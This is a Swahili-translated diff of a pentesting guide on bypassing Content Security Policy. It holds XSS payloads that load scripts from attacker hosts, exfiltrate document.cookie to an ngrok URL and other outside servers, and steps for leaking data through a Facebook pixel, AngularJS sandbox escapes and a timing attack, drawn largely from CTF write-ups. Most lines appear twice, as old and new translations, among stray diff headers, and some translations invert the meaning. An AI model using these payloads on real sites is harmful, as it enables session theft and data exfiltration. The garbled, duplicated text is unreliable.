Ikiwa unaweza kwa namna fulani kufanya **kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Kipande kinachofanya kazi:
Kipakia kinachofanya kazi:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -153,21 +153,21 @@ Inafanya kazi payloads:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ikiwa unaweza kupakia faili ya JS unaweza kupita hii CSP:
Ikiwa unaweza kupakia faili ya JS unaweza kupita CSP hii:
Kifaa kinachofanya kazi:
Payload inayofanya kazi:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
Zaidi ya hayo, hata kama ungeweza kupakia **kodia ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodia ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haikihudumu na **aina ya MIME kama audio/\***.
Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haitoi na **aina ya MIME kama audio/\***.
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
Kutoka hapa, ikiwa utapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
### Form-action
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuhamasisha kwa mfano akidi **kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu.
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi **kwa kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu.
### Third Party Endpoints + ('unsafe-eval')
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads kutumia Angular + maktaba yenye kazi zinazorejesha `window` object ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba nyingine yoyote ya JS iliyoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorejesha `window` object**.
> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha `window` object**.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Kutumia vibaya msimbo wa google recaptcha JS
#### Kutumia vibaya msimbo wa JS wa google recaptcha
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
```html
@ -266,15 +266,15 @@ URL ifuatayo inaelekeza kwa example.com (kutoka [hapa](https://www.landh.tech/bl
```
https://www.google.com/amp/s/example.com/
```
Kukandamiza \*.google.com/script.google.com
Kunyanyasua \*.google.com/script.google.com
Inawezekana kukandamiza Google Apps Script ili kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Inawezekana kunyanyasua Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, mzigo unaofanya kazi:
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupuuziliwa mbali kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina mwisho wa JSONP tayari kutumika kwa CSP bypass ya tovuti tofauti.**
Uthibitisho sawa utaonekana ikiwa **mwandiko wa kuaminika una Open Redirect** kwa sababu ikiwa mwandiko wa awali unakubaliwa, uelekeo unakubaliwa.
Uthibitisho sawa utaonekana ikiwa **mwisho wa kuaminika una Open Redirect** kwa sababu ikiwa mwisho wa awali unakubaliwa, redirects zinakubaliwa.
### Matumizi Mabaya ya Watu wa Tatu
@ -318,11 +318,11 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja kifaa cha Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -333,7 +333,7 @@ Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna n
### Bypass kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye baadhi ya seva.
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine.
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo:
```html
@ -341,13 +341,13 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez
```
Kivinjari hatimaye kitaongeza `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa kivinjari, unaload faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
Hii inafanya kazi kwa sababu kwa kivinjari, unachaji faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakitafuta `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
Suluhisho ni kutotenda `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -361,29 +361,29 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Zaidi ya hayo, ikiwa **ukurasa unaload script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia **base** **tag** ili kufanya iwe **ilaload** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unaload kwa **httpS**, tumia URL ya httpS katika base.
Zaidi ya hayo, ikiwa **ukurasa unachaji skripti kwa kutumia njia ya jamaa** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **ichaji** skripti kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unachajiwa kwa **httpS**, tumia URL ya httpS katika base.
```html
<base href="https://www.attacker.com/" />
```
### Matukio ya AngularJS
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha matukio ya kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuvunja CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, huku kitu cha `window` kikiwa kimewekwa daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia array ya vitu vinavyohusishwa na mchakato wa utekelezaji wa tukio, huku kitu cha `window` kikiwa kimewekwa daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Kwa kuelekeza array hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hii snippet inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
Hii sehemu inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS na domain iliyoorodheshwa
### AngularJS na kikoa kilichoorodheshwa
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina unaopatikana kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads zinazofanya kazi:
```html
@ -393,13 +393,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Mikondo mingine ya utekelezaji wa JSONP isiyo na mipaka inaweza kupatikana [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao ziliondolewa au kurekebishwa)
Mikondo mingine ya utekelezaji wa JSONP isiyo na mipaka inaweza kupatikana [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao zilifutwa au kurekebishwa)
### Bypass kupitia Uelekeo
Nini kinatokea wakati CSP inakutana na uelekeo wa upande wa seva? Ikiwa uelekeo unapelekea kwenye asili tofauti ambayo haikubaliki, bado itashindwa.
Nini kinatokea wakati CSP inakutana na uelekeo wa upande wa seva? Ikiwa uelekeo unapeleka kwenye asili tofauti ambayo hairuhusiwi, bado itashindwa.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekeo unapelekea kwenye njia tofauti, inaweza kupita mipaka ya awali.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekeo unapeleka kwenye njia tofauti, inaweza kupita vizuizi vya awali.
Hapa kuna mfano:
```html
@ -419,15 +419,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inazingatiwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukuliwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haizingatiwi**, na **skripti inaweza kupakiwa**, hivyo kupita kikomo cha njia.
Hata hivyo, `http://localhost:5555/301` ya mwisho itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itapita.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazuiliwa.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumiwa vibaya katika sheria za CSP.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
### Pita CSP na alama zisizokamilika
### Zungusha CSP na alama zisizokamilika
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/).
@ -444,9 +444,9 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Kutoka: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **itekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **utekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Na Wafanyakazi wa Huduma
@ -472,15 +472,15 @@ Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhf
#### Edge
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **ondoa** sera yote.\
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **afuta** sera nzima.\
Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
Tazama ukosefu wa agizo `'unsafe-inline'`\
Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu unaweza kumfanya mwathirika **apakuze** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ambao ukurasa unahitaji kupakua** unaweza kutoa taarifa unazohitaji.
Wakati huu **bendera** itatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
Wakati huu **bendera** itakuwa inatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,7 +548,7 @@ Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-byp
### CSP bypass by restricting CSP
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye ukali zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa:
```html
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Ikiwa unaweza kusimamia kufanya seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya skripti (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Ikiwa unaweza kusimamia kufanya seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya iangalie seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
```
Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kugundua URL kamili.
Mbinu zote mbili zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
Mbinu zote zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
@ -619,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiunganishi cha ukurasa** ili **kutumia** **viunganishi vingine vya asili moja.** Hii inafanywa kwa kupakia kiunganishi kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuhuisha ukurasa wa mshambuliaji kwa kiunganishi halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiunganishi kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiunganishi halisi cha kutumia**. Kwa maelezo zaidi angalia:
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuimarisha ukurasa wa mshambuliaji kwa kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Zaidi ya hayo, **wordpress** ina **JSONP** kiunganishi katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Mshambuliaji anaweza kutumia kiunganishi hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiunganishi kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -649,8 +649,8 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud
```
### DNS Prefetch
